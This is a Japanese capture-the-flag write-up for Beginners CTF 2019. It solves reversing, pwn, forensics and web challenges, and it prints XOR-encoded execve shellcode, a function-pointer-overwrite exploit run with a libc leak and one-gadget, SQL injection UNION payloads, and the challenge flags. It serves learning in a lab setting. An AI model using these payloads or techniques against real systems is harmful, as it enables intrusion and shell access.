Beginners CTF 2019 Writeup
Seccompare
コマンドライン引数で文字列を渡して,それが正解かどうかstrcmpで比較してる.よって,ltraceを使えば比較対象であるフラグが求まる.
$ ltrace ./seccompare hoge strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge") = -5 puts("wrong"wrong ) = 6 +++ exited (status 0) +++
Leakage
is_correct関数で入力値を1文字ずつチェックしていて,比較対象はenc_flagを1文字取ってきてconvertに入れたもの.また,入力値は34文字でないといけない.convertの中身を読みたくなかったので,convertの直後にブレークポイントを貼って,戻り値が格納されるraxを1文字ずつ観察した.(頭悪い解法っぽい)
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear_Operation
is_correct関数で入力値をチェックしている.処理がなかなかに複雑だったのでangrで解いた.
$ python solve.py WARNING | 2019-05-26 00:24:53,683 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups. WARNING | 2019-05-26 00:24:54,344 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead. Deprecation warning: Use eval_upto(expr, n, cast_to=str) instead of any_n_str ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
shellcoder
binshという文字列を使ってはいけないシェルコードコーディング問題.
0x00080000: movabs rbx, 0x38237f7f3e39327f 0x0008000A: movabs rax, 0x5050505050505050 0x00080014: xor rbx, rax 0x00080017: xor esi, esi 0x00080019: push rsi 0x0008001A: push rbx 0x0008001B: push rsp 0x0008001C: pop rdi 0x0008001D: xor rax, rax 0x00080020: mov al, 0x3b 0x00080022: xor edx, edx 0x00080024: syscall syscall
こんな感じでxorでなんとかした.
$ python exploit.py [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/yyy/.pwntools-cache/update to 'never'. [*] A newer version of pwntools is available on pypi (3.5.0 --> 3.12.2). Update with: $ pip install -U pwntools [+] Opening connection to 153.120.129.186 on port 20000: Done [*] Switching to interactive mode Are you shellcoder? $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de} $ exit
OneLine
一度0x28分readしてその後 call rax
するんだけど,raxはwriteの関数ポインタになっていて,それはreadで読み込む領域に存在しているので上書きが可能.
これと同じ処理が2回走るので,1度目は適当に短い文字列を入れてwriteの関数ポインタを上書きしないようにして,1度目の call rax
でwriteの関数ポインタをリークしてlibcのベースアドレスを求める.そして2回目のreadで関数ポインタをone-gadget RCEに書き換えた.one-gadget RCEを探すツールでlibc内を検索したら3つあったんだけど,1つ目では条件が合わずにうまく起動できなかった.
$ python exploit.py [+] Opening connection to 153.120.129.186 on port 10000: Done [*] '/home/yyy/ctf/all/Beginners_CTF_2019/pwn/OneLine/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled You can input text here! >> 0x7fe15586a140 0x7fe15575a000 \x00\x00Once more again! >> [*] Switching to interactive mode $ ls flag.txt oneline $ cat flag.txt ctf4b{0v3rwr!t3_Func7!on_p0int3r} $ exit
Dump
与えられたpcap内にフラグを8進数表示したものがあったので,取り出してまずはスペース区切りに整形した.
その後こんな感じのスクリプトを書いて,ファイルに変換した.gzipで圧縮されたものだったので, gunzip -c flag > hoge
とかした後に出てきたものが今度はtarでアーカイブされたものだったので, tar xvf hoge
をするとフラグが書かれたflag.jpgが取り出せた.
Ramen
SQLiがある. 'or 1=1;#
で全件表示できたので, 1' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS; #
をしたらflagというテーブルがあるのがわかった.あとは 1' UNION SELECT *, null from flag;#
でフラグをみた.